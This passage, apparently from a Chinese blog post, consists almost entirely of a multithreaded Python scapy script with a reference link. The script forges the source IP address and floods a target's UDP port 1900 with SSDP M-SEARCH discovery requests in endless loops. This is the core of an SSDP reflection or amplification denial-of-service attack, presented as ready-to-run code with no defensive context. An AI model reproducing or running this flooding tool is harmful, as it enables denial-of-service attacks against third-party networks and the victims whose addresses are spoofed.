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多线程运行代码如下
from scapy.all import * import random import threading class myThread (threading.Thread): def __init__(self,threadID,name,srcip,dstip): threading.Thread.__init__(self) self.threadID = threadID self.name = name self.srcip = srcip self.dstip = dstip def run(self): print("Start thread "+self.name) while 1: send_udp(self.srcip,self.dstip) print ("Exist thread " + self.name) def send_udp(srcip,dstip): x =random.randint(0,65535) # ST is short for Search Type,either ssdp:all or upnp:rootdevice. sendmsg = 'M-SEARCH * HTTP/1.1\r\nHost:239.255.255.250:1900\r\nST:ssdp:all\r\nMan:\"ssdp:discover\"\r\nMX:3\r\n\r\n' i =IP() i.dst=dstip i.src=srcip u=UDP() u.dport=1900 u.sport=x send(i/u/sendmsg) print('success') if __name__ == '__main__': srcip = "" dstip = "" thread1 = myThread(1,"Thread-1",srcip,dstip) thread2 = myThread(2,"Thread-2",srcip,dstip) thread1.start() thread2.start() thread1.join() thread2.join() print("All threads end now.")
参考
https://sq.sf.163.com/blog/article/185561041311997952
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